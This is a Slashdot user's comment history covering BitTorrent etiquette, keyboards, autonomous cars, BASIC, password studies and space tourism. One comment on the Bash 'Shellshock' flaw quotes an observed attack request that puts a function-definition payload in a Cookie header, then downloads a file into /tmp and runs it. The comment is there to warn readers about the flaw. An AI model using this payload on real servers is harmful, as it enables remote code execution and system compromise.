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BitHammer, the BitTorrent Banhammer

xanthos So the REAL problem is ... (429 comments)

1) ignorant bit torrent user who doesn't know how to configure their software to play nice in public
2) ignorant free wifi supplier who doesn't know how to configure their router for QOS
3) ignorant noob who relies on there being free wifi in order to do his job

There is a reason I've used this sig for years.

about two weeks ago

The Greatest Keyboard Ever Made

xanthos Built like a Battleship (304 comments)

The steel construction of the Model M is a thing of beauty. And the weight keeps the cat from knocking it off my desk.

about two weeks ago

Michigan Builds Driverless Town For Testing Autonomous Cars

xanthos Will there be roundabouts? (86 comments)

I was in Carmel Indiana, a northern Indianapolis suburb, last week. Since the 1990's they have been replacing all of the main intersections with roundabouts. They have over 60 of them now.

While roundabouts have been proven to be safer for average drivers, how easy are they for autonomous vehicles to navigate vs your standard intersection? Is a roundabout an asset to the adoption of autonomous vehicles, a hinderance or a wash?

about two weeks ago

Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild

xanthos Yes it is being exploited (318 comments)

There is evidence that this is being exploited in the wild.
Nginx and Apache servers using mod_cgi are two potentially vulnerable services.

The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.

An example attack:

GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.;.chmod.777./tmp/besh;./tmp/besh;

Over at the Internet Storm Center they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.

about a month ago

My resting heart rate:

xanthos Right or Left? (169 comments)

Where is the Gallifreian option?

about a month ago

Tech Looks To Obama To Save Them From 'Just Sort of OK' US Workers

xanthos Outsource Joe Green (441 comments)

Hey Zuck! There is a whole army of non-US Ivy league MBA's who will be more than happy to produce the same BS as Joe Green for a fraction of the cost. Don't you want to work with the "Best"? Doesn't Joe Green want you to?

about a month ago

Adobe Creative Cloud Is Back

xanthos Adobe better take a look at their SLA (74 comments)

If one of our sites was down for as long as Adobe's was, heads would roll.

What took so long to restore? Crappy process for restoring server images or recovering a database?

Or, as others have speculated, was there a security breach and they couldn't bring it back up until all the evidence was gathered and the vulnerability was closed.

Oh wait, this is Adobe we are talking about. Their code doesn't have vulnerabilities.

about 5 months ago

50 Years of BASIC, the Language That Made Computers Personal

xanthos Re:LISP instead! (224 comments)

LISP - Lots of InSipid Parenthesis

about 6 months ago

Born To RUN: Dartmouth Throwing BASIC a 50th B-Day Party

xanthos Remember, the B in BASIC is for Beginners (146 comments)

Surprised at the number of hateful comments regarding BASIC. Even when it was created it was aimed at novices not experts, hence the name: Beginners All-purpose Symbolic Instruction Code. The true value was that the simple syntax made learning programming concepts much simpler. I used to teach a beginning programming class in the 80's that used BASIC. I always felt that I was able to instill a better understanding of what was going on with the simple Line # VERB parameter syntax of the early language. Breaking things down only four Verb types ( Definition, Assignment, I/O, Control) , the operators, and the two type of variables/constants (string/numeric). That's all there is folks. Would I want to try and write a compiler in it, no, but that is not what the language was written for.

Dinosaur trivia points: why do loops commonly use the variable i. (Hint: int does not stand for index.)

about 6 months ago

Ask Slashdot: How To Reimagine a Library?

xanthos Puzzles! (231 comments)

Puzzles, puzzles and more puzzles! Number puzzles, word puzzles, shape puzzles! Tangram! Origami!

Things that make you think! Things that give you a sense of accomplishment when completed! Things that make you feel as smart as you are!


about 9 months ago

Hacker Says He Could Access 70,000 Healthcare.Gov Records In 4 Minutes

xanthos or Nieman Marcus (351 comments)

somehow I don't think that a group of people looking for government subsidies for their healthcare represent the best targets for identity fraud.

about 9 months ago

Why People Are So Bad At Picking Passwords

xanthos False Conclusion (299 comments)

I hate studies like this. Do people pick common passwords, of course they do. Does everyone pick an easy to guess password, of course not. Can it be blindly determined, for any given user, if their password is "simple" or "complex"? No.

The article puts the blame on the end user, when the truth is the problem is with the websites storing the passwords in plain text or as un-salted hashes and not locking out brute force attacks. What the researchers are really arguing is that
    1) your account may be compromised if hackers break into the website and steal all the passwords.
    2) your password might be easier to guess if it is related to you, hackers are targeting you personally (not likely), and the website doesn't lock the account out.

Don't blame the user, blame the developers and administrators for being lazy and/or inept and failing to protect people from themselves.

about a year ago

My NSA-induced paranoia level:

xanthos The Marketers are who scare me (290 comments)

I'm too small a fish for the NSA to care,

It's the marketing people who will correlate every facet of my life in an attempt to wrest every last penny from my fingers that scare me the most.

about a year ago

How Did You Learn How To Program?

xanthos Ollevetti! (623 comments)

I started about the same time on a Ollevetti 401 I believe. A glorified numeric key pad for input and a red light, a green light and a cash register style tape for output.

I believe you will never really understand how a computer works until you have done two things:
built a compiler/parser and have done machine language programming (which was what you did with the 401).

about a year ago

Average latency to

xanthos TOR! (558 comments)

varies depending upon the exit node.

about a year and a half ago

Fusion Rocket Could Take Us To Mars

xanthos Let me guess - in 20 years? (171 comments)

We are talking about fusion here so of course it perpetually will be available in 20 years.

about a year and a half ago

Ask Slashdot: Do-It-Yourself Security Auditing Tools?

xanthos Go check out (116 comments) has a comprehensive list of tools with explanations of what each one does. Look at the web tools and the vulnerability scanners and you will find something you feel comfortable using. Most of the other tools mentioned so far can be found there. Also, the Open Web Applicaiton Security project ( has some good information on secure app development.

good luck.

about a year and a half ago

Gnome Goes JavaScript

xanthos Lead or Follow? Gnome chooses Follow. (387 comments)

From the article: "Gnome, the graphical desktop environment for Linux, may not be as influential as it once was."
Add to it, "use of JavaScript in WinRT, Chrome Apps, and FirefoxOS apps" and you probably get a lot of the reason for the decision.

Pity they didn't use the Hackfest to design something innovative to energize their base and make working with Gnome cutting edge. Instead it appears that they settling into comfortable middle age.

about a year and a half ago

Timothy Lord Discovers the Good Night Lamp at CES (Video)

xanthos Will it always be ad free? (236 comments)

I see the shiny white side of the house and think "rear projection screen for ads". Damn, now somebody will do that for real.

about 2 years ago



Space vehicle unveiled at EAA

xanthos xanthos writes  |  more than 5 years ago

xanthos writes "Sir Richard Branson was at the annual Experimental Aircraft Assoc Fly-in to show off EVE (previously known as White Knight Two), the launch vehicle for Virgin Galactic's commercial space operation. Test flights for SpaceShipTwo are slated for next year with the first paying passenger's going up in 2011.

What surprised me was the following from the article:

"So many people have signed up already, Whitehorn said, that the company has collected $40 million in deposits with orders to build five spaceships to meet the demand."

Will this mean that the $200k price tag may be dropping?"

Link to Original Source


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